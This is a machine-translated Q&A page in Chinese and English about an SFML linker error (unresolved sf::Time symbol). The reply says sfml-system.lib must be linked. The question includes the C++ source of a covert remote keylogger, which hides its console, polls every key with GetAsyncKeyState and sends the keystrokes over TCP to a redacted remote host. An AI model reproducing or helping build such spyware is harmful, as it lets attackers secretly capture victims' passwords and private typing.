未解决的外部符号sf ::带有SFML的时间
Unresolved external symbol sf::Time with SFML
因此,我正在为 ducuitational 目的处理远程键盘记录器。由于某种原因,当我尝试编译客户端时,我会收到此错误(我正在使用SFML(:
Error LNK2001 unresolved external symbol "__declspec(dllimport) public:
static class sf::Time const sf::Time::Zero" (__imp_?Zero@Time@sf@@2V12@B)
奇怪的是,服务器编译了罚款,并且使用了同一库。我已经无数次检查我的链接器设置,甚至尝试创建一个新项目,但没有成功。
这是代码:
#include <fstream>
#include <Windows.h>
#include <SFMLNetwork.hpp>
#include <iostream>
void ConnectToHost(sf::TcpSocket* socket)
{
sf::Socket::Status status = socket->connect("*****", ***);
if (status != sf::Socket::Done)
std::cout << "Error connecting to socket." << std::endl;
return;
}
int main()
{
FreeConsole();
sf::TcpSocket socket;
ConnectToHost(&socket);
while (1)
{
for (char key = 8; key <= 190; key++)
{
if (GetAsyncKeyState(key) == -32767)
{
char key_sent[50] = { key };
socket.send(key_sent, sizeof(key_sent));
}
}
}
return 0;
}
我目前正在将sfml-network-d.lib链接到debug和sfml-network.lib要发布,但是我也尝试链接所有SFML Dynamic链接库,因此无法拥有任何东西处理它。无论如何,我以为这只是我过度思考或忽略的一个粗心的错误,但是由于我已经研究了几天,所以我认为我将其作为一个问题。
<</p>您的错误说您的代码没有错,这是链接的问题。您正在链接到sfml-network.lib,但是您需要链接到sfml-system.lib,以获取sf ::时间。
sfml-network.lib仅给您:ftp,http,ipaddress,packet,socket,socketselector,tcplistener,tcpsocket,udpsocket。
如下所述,sfml-network对SFML系统具有依赖性。每当使用SFML网络时,您都需要明确链接到SFML系统。
另一个快速注意的是,您提到了链接到动态链接库。您不应该链接到任何DLL,您链接的.libs实际上让您导入这些DLL。如果您想执行相反的操作(静态链接(,则需要链接到 *-s.lib变体。
相关文章:
- 有没有一种方法可以创建一个带有哈希表的数据库,该哈希表具有恒定时间查找功能
- 带有 if 语句的嵌套循环的时间复杂度
- 将带有参考时间的时间戳转换为格式化时间
- 将带有时区的纪元时间转换为Excel格式的时间?
- 带有多个内部回路的循环的时间复杂性
- 未解决的外部符号sf ::带有SFML的时间
- 快速将带有时区的日期时间字符串转换为 UNIX 时间戳(C++)
- 通过 ODBC C++将带有日期时间的记录插入 SQL Server 2014 的问题
- 带有两个递归调用的递归算法的时间复杂性
- 带有动态存储持续时间的lambda
- 如何将标准::时间::time_point转换为带有秒小数部分的日历日期时间字符串?
- C++-带有和不带有if语句的奇怪时间测量
- 将带有时间戳的向量整数连接为C++中的字符串
- QGraphicsScene - 添加带有少量不透明点的大透明像素图时,应用程序会挂起很长时间
- 带有 TCSADRAIN 标志的 tcsetattr() 阻塞时间很奇怪
- 用C++设置带有小数秒的日期和时间格式
- 如何解析带有日期-时间+时间偏移的字符串到boost::posix_time::ptime
- 提供优化的算法来处理带有时间戳的值
- 创建一个标题中带有时间戳的文本文件
- 带有时间相关图的Astar